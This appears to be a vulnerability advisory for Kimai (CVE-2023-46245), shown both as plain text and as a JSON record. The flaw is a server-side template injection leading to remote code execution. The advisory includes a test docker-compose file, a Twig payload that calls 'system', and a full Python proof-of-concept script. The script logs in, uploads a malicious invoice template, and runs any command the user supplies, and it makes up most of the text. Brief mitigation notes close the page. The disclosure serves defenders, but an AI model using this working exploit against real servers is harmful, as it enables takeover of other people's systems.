- MYSQL_ROOT_HOST='%'
- MYSQL_DATABASE=kimai
- MYSQL_USER=kimaiuser
- MYSQL_PASSWORD=kimaipassword
- MYSQL_ROOT_PASSWORD=changemeplease
ports:
- 3336:3306
volumes:
- mysql:/var/lib/mysql
command: --default-storage-engine innodb
restart: unless-stopped
healthcheck:
test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1
interval: 20s
start_period: 10s
timeout: 10s
retries: 3
nginx:
image: tobybatch/nginx-fpm-reverse-proxy
ports:
- 8001:80
volumes:
- public:/opt/kimai/public:ro
restart: unless-stopped
depends_on:
- kimai
healthcheck:
test: wget --spider http://nginx/health || exit 1
interval: 20s
start_period: 10s
timeout: 10s
retries: 3
kimai: # This is the latest FPM image of kimai
image: kimai/kimai2:fpm-prod
environment:
- ADMINMAIL=admin@kimai.local
- ADMINPASS=changemeplease
- DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai
- TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2
- memory_limit=1024
volumes:
- public:/opt/kimai/public
# - var:/opt/kimai/var
# - ./ldap.conf:/etc/openldap/ldap.conf:z
# - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z
restart: unless-stopped
phpmyadmin:
image: phpmyadmin
restart: always
ports:
- 8081:80
environment:
- PMA_ARBITRARY=1
postfix:
image: catatnight/postfix:latest
environment:
maildomain: neontribe.co.uk
smtp_user: kimai:kimai
restart: unless-stopped
volumes:
var:
public:
mysql:
Steps to Reproduce (Manually):
1- Upload a malicious Twig file to the server containing the following payload {{['id>/tmp/pwned']|map('system')|join}}
2- Trigger the SSTI vulnerability by downloading the invoices.
3- The malicious code gets executed, leading to RCE.
4- /tmp/pwned file will be created on the target system
I've also attached an automated script to ease up the process of reproducing: # Proof of Concept
import requests
import re
import string
import random
import sys
session = requests.session()
BASE_URL = sys.argv[1]
def generate(size=6, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def get_csrf(path, session):
try:
project_id = ""
csrf_token = ""
preview_id = ""
template_ids = []
activity_customer_list = []
csrf_login_response = session.get(f"{BASE_URL}{path}").text
# Extract CSRF Token
pattern = re.compile(r'<input[^>]*?name=["\'].*?token[^"\']*["\'][^>]*?value=["\'](.*?)["\'][^>]*?>', re.IGNORECASE)
match = pattern.search(csrf_login_response)
if match:
csrf_token = match.group(1)
if "performSearch" in path:
preview_pattern = re.compile(r'<div[^>]*id="preview-token"[^>]*data-value="(.*?)"[^>]*>', re.IGNORECASE)
preview_match = preview_pattern.search(csrf_login_response)
if preview_match:
preview_id = preview_match.group(1)
template_pattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE)
template_matches = template_pattern.findall(csrf_login_response)
if template_matches:
template_ids = [int(id) for id in template_matches]
if "timesheet" in path:
option_pattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE)
option_matches = option_pattern.findall(csrf_login_response)
if option_matches:
activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]
if "project" in path or "activity" in path:
project_id_match = re.search(r'<option value="(\d+)"[^>]*data-currency="EUR"[^>]*>', csrf_login_response)
if project_id_match:
project_id = project_id_match.group(1)
return csrf_token, project_id, preview_id, template_ids, activity_customer_list
except Exception as e:
print(f"Error occurred: {e}")
return None, None, None, None, None
def login(username,password,csrf,session):
try:
params = {"_username": username, "_password": password, "_csrf_token": csrf}
login_response = session.post(f"{BASE_URL}/login_check", data=params, allow_redirects=True)
if "I forgot my password" not in login_response.text:
print(f"[+] Logged in: {username}")
return session
else:
print("Wrong username,password", username)
exit(1)
except Exception as e:
print(str(e))
pass
def create_customer(token,name,session):
try:
data = {
'customer_edit_form[name]': (None, name),
'customer_edit_form[color]': (None, ''),
'customer_edit_form[comment]': (None, 'xx'),
'customer_edit_form[address]': (None, 'xx'),
'customer_edit_form[company]': (None, ''),
'customer_edit_form[number]': (None, '0002'),
'customer_edit_form[vatId]': (None, ''),
'customer_edit_form[country]': (None, 'DE'),
'customer_edit_form[currency]': (None, 'EUR'),
'customer_edit_form[timezone]': (None, 'UTC'),
'customer_edit_form[contact]': (None, ''),
'customer_edit_form[email]': (None, ''),
'customer_edit_form[homepage]': (None, ''),
'customer_edit_form[mobile]': (None, ''),
'customer_edit_form[phone]': (None, ''),
'customer_edit_form[fax]': (None, ''),
'customer_edit_form[budget]': (None, '0.00'),
'customer_edit_form[timeBudget]': (None, '0:00'),
'customer_edit_form[budgetType]': (None, ''),
'customer_edit_form[visible]': (None, '1'),
'customer_edit_form[billable]': (None, '1'),
'customer_edit_form[invoiceTemplate]': (None, ''),
'customer_edit_form[invoiceText]': (None, ''),
'customer_edit_form[_token]': (None, token),
}
response = session.post(f"{BASE_URL}/admin/customer/create", files=data)
except Exception as e:
print(str(e))
def create_project(token, name,project_id ,session):
try:
form_data = {
'project_edit_form[name]': (None, name),
'project_edit_form[color]': (None, ''),
'project_edit_form[comment]': (None, ''),
'project_edit_form[customer]': (None, project_id),
'project_edit_form[orderNumber]': (None, ''),
'project_edit_form[orderDate]': (None, ''),
'project_edit_form[start]': (None, ''),
'project_edit_form[end]': (None, ''),
'project_edit_form[budget]': (None, '0.00'),
'project_edit_form[timeBudget]': (None, '0:00'),
'project_edit_form[budgetType]': (None, ''),
'project_edit_form[visible]': (None, '1'),
'project_edit_form[billable]': (None, '1'),
'project_edit_form[globalActivities]': (None, '1'),
'project_edit_form[invoiceText]': (None, ''),
'project_edit_form[_token]': (None, token)
}
response = session.post(f"{BASE_URL}/admin/project/create", files=form_data)
except Exception as e:
print(str(e))
def create_activity(token, name,project_id ,session):
try:
form_data = {
'activity_edit_form[name]': (None, name),
'activity_edit_form[color]': (None, ''),
'activity_edit_form[comment]': (None, ''),
'activity_edit_form[project]': (None, ''),
'activity_edit_form[budget]': (None, '0.00'),
'activity_edit_form[timeBudget]': (None, '0:00'),
'activity_edit_form[budgetType]': (None, ''),
'activity_edit_form[visible]': (None, '1'),
'activity_edit_form[billable]': (None, '1'),
'activity_edit_form[invoiceText]': (None, ''),
'activity_edit_form[_token]': (None, token),
}
response = session.post(f"{BASE_URL}/admin/activity/create", files=form_data)
if response.status_code == 201:
print(f"[+] Activity created: {name}")
except Exception as e:
print(f"An error occurred: {str(e)}")
def upload_malicious_document(token,session):
try:
form_data = {
'invoice_document_upload_form[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'),
'invoice_document_upload_form[_token]': (None, token)
}
response = session.post(f"{BASE_URL}/invoice/document_upload", files=form_data)
if ".pdf.twig" in response.text:
print("[+] Twig uploaded successfully!")
else:
print("[-] Error while uploading, exiting..")
exit(1)
except Exception as e:
print(f"An error occurred: {str(e)}")
import re
def create_malicious_template(token, name, session):
try:
data = {
'invoice_template_form[name]': name,
'invoice_template_form[title]': name,
'invoice_template_form[company]': name,
'invoice_template_form[vatId]': '',
'invoice_template_form[address]': '',
'invoice_template_form[contact]': '',
'invoice_template_form[paymentTerms]': '',
'invoice_template_form[paymentDetails]': '',
'invoice_template_form[dueDays]': '30',
'invoice_template_form[vat]': '0.000',
'invoice_template_form[language]': 'en',
'invoice_template_form[numberGenerator]': 'default',
'invoice_template_form[renderer]': 'din',
'invoice_template_form[calculator]': 'default',
'invoice_template_form[_token]': token
}
response = session.post(f"{BASE_URL}/invoice/template/create", data=data)
# Define the regex pattern to capture the template ID and match the name
pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s*<td class="alwaysVisible col_name">{re.escape(name)}</td>', re.DOTALL)
# Search the response text with the regex pattern
match = pattern.search(response.text)
if match:
template_id = match.group(1) # Extract the captured group
print(f"[+] Malicious Template: {name}, Template ID: {template_id}")
return template_id # Return the captured template ID
else:
print("[-] Failed to capture the template ID")
create_malicious_template(token,name,session)
except Exception as e:
print(f"An error occurred: {str(e)}")
exit(1)
def create_timesheet(token, activity, project, session):
form_data = {
'timesheet_edit_form[begin_date]': (None, '01/01/1980'),
'timesheet_edit_form[begin_time]': (None, '12:00 AM'),
'timesheet_edit_form[duration]': (None, '0:15'),
'timesheet_edit_form[end_time]': (None, '12:15 AM'),
'timesheet_edit_form[customer]': (None, ''),
'timesheet_edit_form[project]': (None, project),
'timesheet_edit_form[activity]': (None, activity),
'timesheet_edit_form[description]': (None, ''),
'timesheet_edit_form[fixedRate]': (None, ''),
'timesheet_edit_form[hourlyRate]': (None, ''),
'timesheet_edit_form[billableMode]': (None, 'auto'),
'timesheet_edit_form[_token]': (None, token)
}
response = session.post(f"{BASE_URL}/timesheet/create", files=form_data,allow_redirects=False)
if response.status_code == 302: # Changed to 200 as 301 is for redirection
print(f"[+] Created a new timesheet")
##############################
# login
csrf, _, _, _, _ = get_csrf("/login", session)
# login("admin", "password", csrf, session)
login(sys.argv[2],sys.argv[3],csrf,session)
# create new customer
get_customer_token, _, _, _, _ = get_csrf("/admin/customer/create", session)
customer_name = generate()
create_customer(get_customer_token, customer_name, session)
# create new project with customer_name
get_project_token, customer_id, _, _, _ = get_csrf("/admin/project/create", session)
project_name = generate()
create_project(get_project_token, project_name, customer_id, session)
# create new activity
get_activity_token, project_id, _, _, _ = get_csrf("/admin/activity/create", session)
activity_name = generate()
create_activity(get_activity_token, activity_name, project_id, session)
# EXPLOIT
######################
# upload malicious file
upload_token, _, _, _, _ = get_csrf("/invoice/document_upload", session)
upload_malicious_document(upload_token, session)
# create malicious template to trigger the SSTI
get_template_token, _, _, _, _ = get_csrf("/invoice/template/create", session)
template = generate()
temp_id = create_malicious_template(get_template_token, template, session)
# create a timesheet with project_id and activity_id
activity_customer_list = get_csrf("/timesheet/create", session)[4] # get the activity_customer_list from get_csrf function
print(f"[+] Constructing renderer URLs..")
# iterate through all relative project_ids and customer_id for exploit stabiliy
for activity_id, customer_id in activity_customer_list:
csrf = get_csrf("/timesheet/create", session)[0] # Update CSRF token for each iteration
print(f"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}")
create_timesheet(csrf, activity_id, customer_id, session)
postData = {
"searchTerm": "",
"daterange": "",
"state": "1",
"billable": "0",
"exported": "1",
"orderBy": "begin",
"order": "DESC",
"exporter": "pdf"
}
# export timesheets so they appear in exported invoices
export = session.post(f"{BASE_URL}/timesheet/export/", data=postData).text
if "PDF-1.4" in export:
csrf, _, _, _, _ = get_csrf("/invoice/", session)
# get preview token to construct the preview URL to trigger SSTI
csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}", session)
for template_id in template_ids:
rendererURL = f"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}"
# trigger the payload by visiting the renderer URL
rce = session.get(rendererURL)
if "PDF-1.4" in rce.text:
print(rendererURL)
print("[+] successfully executed payload")
# save the pdf locally since rendered URL will expire as soon as we end the session
pdf = f"{generate()}.pdf"
with open(pdf,'wb') as pdfFile:
pdfFile.write(rce.content)
pdfFile.flush()
pdfFile.close()
print(f"[+] Saved results with name: {pdf}")
exit(1)
print("[-] Failed to execute payload, try to trigger manually..")
which can be executed as such:
$ python3 spl0it.py http://localhost:8001/en admin password "ls -la"
this will download the rendered file which will contain the results of the RCE:

Impact
Remote Code Execution
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "kimai/kimai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46245"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-30T15:40:04Z",
"nvd_published_at": "2023-10-31T16:15:09Z",
"severity": "HIGH"
},
"details": "# Description\n\nThe laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software\u0027s PDF and HTML rendering functionalities.\n\nSnippet of Vulnerable Code: \n\n```php\npublic function render(array $timesheets, TimesheetQuery $query): Response\n{\n ...\n $content = $this-\u003etwig-\u003erender($this-\u003egetTemplate(), array_merge([\n \u0027entries\u0027 =\u003e $timesheets,\n \u0027query\u0027 =\u003e $query,\n ...\n ], $this-\u003egetOptions($query)));\n ...\n $content = $this-\u003econverter-\u003econvertToPdf($content, $pdfOptions);\n ...\n return $this-\u003ecreatePdfResponse($content, $context);\n}\n```\n\nThe vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.\n\nIn below, you can find the docker-compose file was used for this testing:\n\n```yaml\nversion: \u00273.5\u0027\nservices:\n\n sqldb:\n image: mysql:5.7\n environment:\n - MYSQL_ROOT_HOST=\u0027%\u0027\n - MYSQL_DATABASE=kimai\n - MYSQL_USER=kimaiuser\n - MYSQL_PASSWORD=kimaipassword\n - MYSQL_ROOT_PASSWORD=changemeplease\n\n ports:\n - 3336:3306\n volumes:\n - mysql:/var/lib/mysql\n command: --default-storage-engine innodb\n restart: unless-stopped\n healthcheck:\n test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1\n interval: 20s\n start_period: 10s\n timeout: 10s\n retries: 3\n\n nginx:\n image: tobybatch/nginx-fpm-reverse-proxy\n ports:\n - 8001:80\n volumes:\n - public:/opt/kimai/public:ro\n restart: unless-stopped\n depends_on:\n - kimai\n healthcheck:\n test: wget --spider http://nginx/health || exit 1\n interval: 20s\n start_period: 10s\n timeout: 10s\n retries: 3\n\n kimai: # This is the latest FPM image of kimai\n image: kimai/kimai2:fpm-prod\n environment:\n - ADMINMAIL=admin@kimai.local\n - ADMINPASS=changemeplease\n - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai\n - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2\n - memory_limit=1024\n volumes:\n - public:/opt/kimai/public\n # - var:/opt/kimai/var\n # - ./ldap.conf:/etc/openldap/ldap.conf:z\n # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z\n restart: unless-stopped\n\n phpmyadmin:\n image: phpmyadmin\n restart: always\n ports:\n - 8081:80\n environment:\n - PMA_ARBITRARY=1\n\n\n\n postfix:\n image: catatnight/postfix:latest\n environment:\n maildomain: neontribe.co.uk\n smtp_user: kimai:kimai\n restart: unless-stopped\n\nvolumes:\n var:\n public:\n mysql:\n```\n\nSteps to Reproduce (Manually):\n1- Upload a malicious Twig file to the server containing the following payload ```{{[\u0027id\u003e/tmp/pwned\u0027]|map(\u0027system\u0027)|join}}```\n2- Trigger the SSTI vulnerability by downloading the invoices.\n3- The malicious code gets executed, leading to RCE.\n4- /tmp/pwned file will be created on the target system\n\nI\u0027ve also attached an automated script to ease up the process of reproducing:\n # Proof of Concept\n```python\nimport requests\nimport re\nimport string\nimport random\nimport sys\n\nsession = requests.session()\nBASE_URL = sys.argv[1]\n\n\ndef generate(size=6, chars=string.ascii_uppercase + string.digits):\n return \u0027\u0027.join(random.choice(chars) for _ in range(size))\n\n\ndef get_csrf(path, session):\n try:\n project_id = \"\"\n csrf_token = \"\"\n preview_id = \"\"\n template_ids = []\n activity_customer_list = []\n \n csrf_login_response = session.get(f\"{BASE_URL}{path}\").text\n \n # Extract CSRF Token\n pattern = re.compile(r\u0027\u003cinput[^\u003e]*?name=[\"\\\u0027].*?token[^\"\\\u0027]*[\"\\\u0027][^\u003e]*?value=[\"\\\u0027](.*?)[\"\\\u0027][^\u003e]*?\u003e\u0027, re.IGNORECASE)\n match = pattern.search(csrf_login_response)\n if match:\n csrf_token = match.group(1)\n \n if \"performSearch\" in path:\n preview_pattern = re.compile(r\u0027\u003cdiv[^\u003e]*id=\"preview-token\"[^\u003e]*data-value=\"(.*?)\"[^\u003e]*\u003e\u0027, re.IGNORECASE)\n preview_match = preview_pattern.search(csrf_login_response)\n if preview_match:\n preview_id = preview_match.group(1)\n\n \n template_pattern = re.compile(r\u0027\u003coption value=\"(\\d+)\" selected=\"selected\"\u003e\u0027, re.IGNORECASE)\n template_matches = template_pattern.findall(csrf_login_response)\n if template_matches:\n template_ids = [int(id) for id in template_matches]\n \n if \"timesheet\" in path:\n option_pattern = re.compile(r\u0027\u003coption value=\"(\\d+)\" data-customer=\"(\\d+)\" data-currency=\"EUR\"\u003e\u0027, re.IGNORECASE)\n option_matches = option_pattern.findall(csrf_login_response)\n if option_matches:\n activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]\n \n if \"project\" in path or \"activity\" in path:\n project_id_match = re.search(r\u0027\u003coption value=\"(\\d+)\"[^\u003e]*data-currency=\"EUR\"[^\u003e]*\u003e\u0027, csrf_login_response)\n if project_id_match:\n project_id = project_id_match.group(1)\n \n return csrf_token, project_id, preview_id, template_ids, activity_customer_list\n \n except Exception as e:\n print(f\"Error occurred: {e}\")\n return None, None, None, None, None\n\n\ndef login(username,password,csrf,session):\n try:\n params = {\"_username\": username, \"_password\": password, \"_csrf_token\": csrf}\n login_response = session.post(f\"{BASE_URL}/login_check\", data=params, allow_redirects=True)\n if \"I forgot my password\" not in login_response.text:\n print(f\"[+] Logged in: {username}\")\n return session\n else:\n print(\"Wrong username,password\", username)\n exit(1)\n except Exception as e:\n print(str(e))\n pass\n\ndef create_customer(token,name,session):\n try:\n\n data = {\n \u0027customer_edit_form[name]\u0027: (None, name),\n \u0027customer_edit_form[color]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[comment]\u0027: (None, \u0027xx\u0027),\n \u0027customer_edit_form[address]\u0027: (None, \u0027xx\u0027),\n \u0027customer_edit_form[company]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[number]\u0027: (None, \u00270002\u0027),\n \u0027customer_edit_form[vatId]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[country]\u0027: (None, \u0027DE\u0027),\n \u0027customer_edit_form[currency]\u0027: (None, \u0027EUR\u0027),\n \u0027customer_edit_form[timezone]\u0027: (None, \u0027UTC\u0027),\n \u0027customer_edit_form[contact]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[email]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[homepage]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[mobile]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[phone]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[fax]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n \u0027customer_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n \u0027customer_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[visible]\u0027: (None, \u00271\u0027),\n \u0027customer_edit_form[billable]\u0027: (None, \u00271\u0027),\n \u0027customer_edit_form[invoiceTemplate]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[_token]\u0027: (None, token),\n }\n\n\n response = session.post(f\"{BASE_URL}/admin/customer/create\", files=data)\n\n except Exception as e:\n print(str(e))\n\n\ndef create_project(token, name,project_id ,session):\n try:\n form_data = {\n \u0027project_edit_form[name]\u0027: (None, name),\n \u0027project_edit_form[color]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[comment]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[customer]\u0027: (None, project_id), \n \u0027project_edit_form[orderNumber]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[orderDate]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[start]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[end]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n \u0027project_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n \u0027project_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[visible]\u0027: (None, \u00271\u0027),\n \u0027project_edit_form[billable]\u0027: (None, \u00271\u0027),\n \u0027project_edit_form[globalActivities]\u0027: (None, \u00271\u0027),\n \u0027project_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[_token]\u0027: (None, token)\n }\n \n response = session.post(f\"{BASE_URL}/admin/project/create\", files=form_data)\n \n except Exception as e:\n print(str(e))\n\n\ndef create_activity(token, name,project_id ,session):\n try:\n form_data = {\n \u0027activity_edit_form[name]\u0027: (None, name),\n \u0027activity_edit_form[color]\u0027: (None, \u0027\u0027),\n \u0027activity_edit_form[comment]\u0027: (None, \u0027\u0027),\n \u0027activity_edit_form[project]\u0027: (None, \u0027\u0027),\n \u0027activity_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n \u0027activity_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n \u0027activity_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n \u0027activity_edit_form[visible]\u0027: (None, \u00271\u0027),\n \u0027activity_edit_form[billable]\u0027: (None, \u00271\u0027),\n \u0027activity_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n \u0027activity_edit_form[_token]\u0027: (None, token),\n }\n \n response = session.post(f\"{BASE_URL}/admin/activity/create\", files=form_data)\n \n if response.status_code == 201:\n print(f\"[+] Activity created: {name}\")\n\n except Exception as e:\n print(f\"An error occurred: {str(e)}\")\n\ndef upload_malicious_document(token,session):\n try:\n form_data = {\n \u0027invoice_document_upload_form[document]\u0027: (\u0027din.pdf.twig\u0027, f\"\u003chtml\u003e\u003cbody\u003e{{{{[\u0027{sys.argv[4]}\u0027]|map(\u0027system\u0027)|join}}}}\u003c/body\u003e\u003c/html\u003e\", \u0027text/x-twig\u0027),\n \u0027invoice_document_upload_form[_token]\u0027: (None, token)\n }\n \n response = session.post(f\"{BASE_URL}/invoice/document_upload\", files=form_data)\n \n if \".pdf.twig\" in response.text:\n print(\"[+] Twig uploaded successfully!\")\n else:\n print(\"[-] Error while uploading, exiting..\")\n exit(1)\n\n except Exception as e:\n print(f\"An error occurred: {str(e)}\")\nimport re\n\ndef create_malicious_template(token, name, session):\n try:\n data = {\n \u0027invoice_template_form[name]\u0027: name,\n \u0027invoice_template_form[title]\u0027: name,\n \u0027invoice_template_form[company]\u0027: name,\n \u0027invoice_template_form[vatId]\u0027: \u0027\u0027,\n \u0027invoice_template_form[address]\u0027: \u0027\u0027,\n \u0027invoice_template_form[contact]\u0027: \u0027\u0027,\n \u0027invoice_template_form[paymentTerms]\u0027: \u0027\u0027,\n \u0027invoice_template_form[paymentDetails]\u0027: \u0027\u0027,\n \u0027invoice_template_form[dueDays]\u0027: \u002730\u0027,\n \u0027invoice_template_form[vat]\u0027: \u00270.000\u0027,\n \u0027invoice_template_form[language]\u0027: \u0027en\u0027,\n \u0027invoice_template_form[numberGenerator]\u0027: \u0027default\u0027,\n \u0027invoice_template_form[renderer]\u0027: \u0027din\u0027,\n \u0027invoice_template_form[calculator]\u0027: \u0027default\u0027,\n \u0027invoice_template_form[_token]\u0027: token\n }\n \n response = session.post(f\"{BASE_URL}/invoice/template/create\", data=data)\n \n # Define the regex pattern to capture the template ID and match the name\n pattern = re.compile(fr\u0027\u003ctr class=\"modal-ajax-form open-edit\" data-href=\"/en/invoice/template/(\\d+)/edit\"\u003e\\s*\u003ctd class=\"alwaysVisible col_name\"\u003e{re.escape(name)}\u003c/td\u003e\u0027, re.DOTALL)\n \n # Search the response text with the regex pattern\n match = pattern.search(response.text)\n \n if match:\n template_id = match.group(1) # Extract the captured group\n print(f\"[+] Malicious Template: {name}, Template ID: {template_id}\")\n return template_id # Return the captured template ID\n else:\n print(\"[-] Failed to capture the template ID\")\n create_malicious_template(token,name,session)\n \n except Exception as e:\n print(f\"An error occurred: {str(e)}\")\n exit(1)\n\n\n\n\ndef create_timesheet(token, activity, project, session):\n form_data = {\n \u0027timesheet_edit_form[begin_date]\u0027: (None, \u002701/01/1980\u0027),\n \u0027timesheet_edit_form[begin_time]\u0027: (None, \u002712:00 AM\u0027),\n \u0027timesheet_edit_form[duration]\u0027: (None, \u00270:15\u0027),\n \u0027timesheet_edit_form[end_time]\u0027: (None, \u002712:15 AM\u0027),\n \u0027timesheet_edit_form[customer]\u0027: (None, \u0027\u0027),\n \u0027timesheet_edit_form[project]\u0027: (None, project),\n \u0027timesheet_edit_form[activity]\u0027: (None, activity),\n \u0027timesheet_edit_form[description]\u0027: (None, \u0027\u0027),\n \u0027timesheet_edit_form[fixedRate]\u0027: (None, \u0027\u0027),\n \u0027timesheet_edit_form[hourlyRate]\u0027: (None, \u0027\u0027),\n \u0027timesheet_edit_form[billableMode]\u0027: (None, \u0027auto\u0027),\n \u0027timesheet_edit_form[_token]\u0027: (None, token)\n }\n response = session.post(f\"{BASE_URL}/timesheet/create\", files=form_data,allow_redirects=False)\n if response.status_code == 302: # Changed to 200 as 301 is for redirection\n print(f\"[+] Created a new timesheet\")\n\n\n##############################\n\n\n\n\n\n# login\ncsrf, _, _, _, _ = get_csrf(\"/login\", session) \n# login(\"admin\", \"password\", csrf, session)\nlogin(sys.argv[2],sys.argv[3],csrf,session)\n# create new customer\n\nget_customer_token, _, _, _, _ = get_csrf(\"/admin/customer/create\", session) \ncustomer_name = generate()\ncreate_customer(get_customer_token, customer_name, session)\n# create new project with customer_name\n\nget_project_token, customer_id, _, _, _ = get_csrf(\"/admin/project/create\", session) \nproject_name = generate()\ncreate_project(get_project_token, project_name, customer_id, session)\n\n# create new activity \nget_activity_token, project_id, _, _, _ = get_csrf(\"/admin/activity/create\", session)\nactivity_name = generate()\ncreate_activity(get_activity_token, activity_name, project_id, session)\n\n# EXPLOIT\n######################\n\n# upload malicious file\nupload_token, _, _, _, _ = get_csrf(\"/invoice/document_upload\", session)\nupload_malicious_document(upload_token, session)\n\n# create malicious template to trigger the SSTI\nget_template_token, _, _, _, _ = get_csrf(\"/invoice/template/create\", session)\ntemplate = generate()\ntemp_id = create_malicious_template(get_template_token, template, session)\n\n# create a timesheet with project_id and activity_id\nactivity_customer_list = get_csrf(\"/timesheet/create\", session)[4] # get the activity_customer_list from get_csrf function\n\nprint(f\"[+] Constructing renderer URLs..\")\n# iterate through all relative project_ids and customer_id for exploit stabiliy\nfor activity_id, customer_id in activity_customer_list:\n csrf = get_csrf(\"/timesheet/create\", session)[0] # Update CSRF token for each iteration\n print(f\"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}\")\n create_timesheet(csrf, activity_id, customer_id, session)\n postData = {\n \"searchTerm\": \"\",\n \"daterange\": \"\",\n \"state\": \"1\",\n \"billable\": \"0\",\n \"exported\": \"1\",\n \"orderBy\": \"begin\",\n \"order\": \"DESC\",\n \"exporter\": \"pdf\"\n }\n # export timesheets so they appear in exported invoices\n export = session.post(f\"{BASE_URL}/timesheet/export/\", data=postData).text\n if \"PDF-1.4\" in export:\n csrf, _, _, _, _ = get_csrf(\"/invoice/\", session)\n # get preview token to construct the preview URL to trigger SSTI\n csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f\"/invoice/?searchTerm=\u0026daterange=\u0026exported=1\u0026invoiceDate=1%2F1%2F1980\u0026performSearch=performSearch\u0026_token={csrf}\u0026template={temp_id}\", session)\n for template_id in template_ids:\n rendererURL = f\"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=\u0026daterange=\u0026exported=1\u0026template={temp_id}\u0026invoiceDate=\u0026_token={csrf}\u0026customers[]={customer_id}\"\n # trigger the payload by visiting the renderer URL \n rce = session.get(rendererURL)\n \n if \"PDF-1.4\" in rce.text:\n print(rendererURL)\n print(\"[+] successfully executed payload\")\n # save the pdf locally since rendered URL will expire as soon as we end the session\n pdf = f\"{generate()}.pdf\"\n with open(pdf,\u0027wb\u0027) as pdfFile:\n pdfFile.write(rce.content)\n pdfFile.flush()\n pdfFile.close()\n print(f\"[+] Saved results with name: {pdf}\")\n exit(1)\n\nprint(\"[-] Failed to execute payload, try to trigger manually..\")\n```\n\nwhich can be executed as such:\n```bash\n$ python3 spl0it.py http://localhost:8001/en admin password \"ls -la\"\n```\n\nthis will download the rendered file which will contain the results of the RCE:\n\n\n\n\n# Impact\n\nRemote Code Execution",
"id": "GHSA-fjhg-96cp-6fcw",
"modified": "2023-10-30T15:40:04Z",
"published": "2023-10-30T15:40:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kimai/kimai/security/advisories/GHSA-fjhg-96cp-6fcw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46245"
},
{
"type": "WEB",
"url": "https://github.com/kimai/kimai/commit/38e37f1c2e91e1acb221ec5c13f11b735bd50ae4"
},
{
"type": "PACKAGE",
"url": "https://github.com/kimai/kimai"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File"
}
Mitigation
Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
Mitigation
Use the template engine's sandbox or restricted mode, if available.
No CAPEC attack patterns related to this CWE.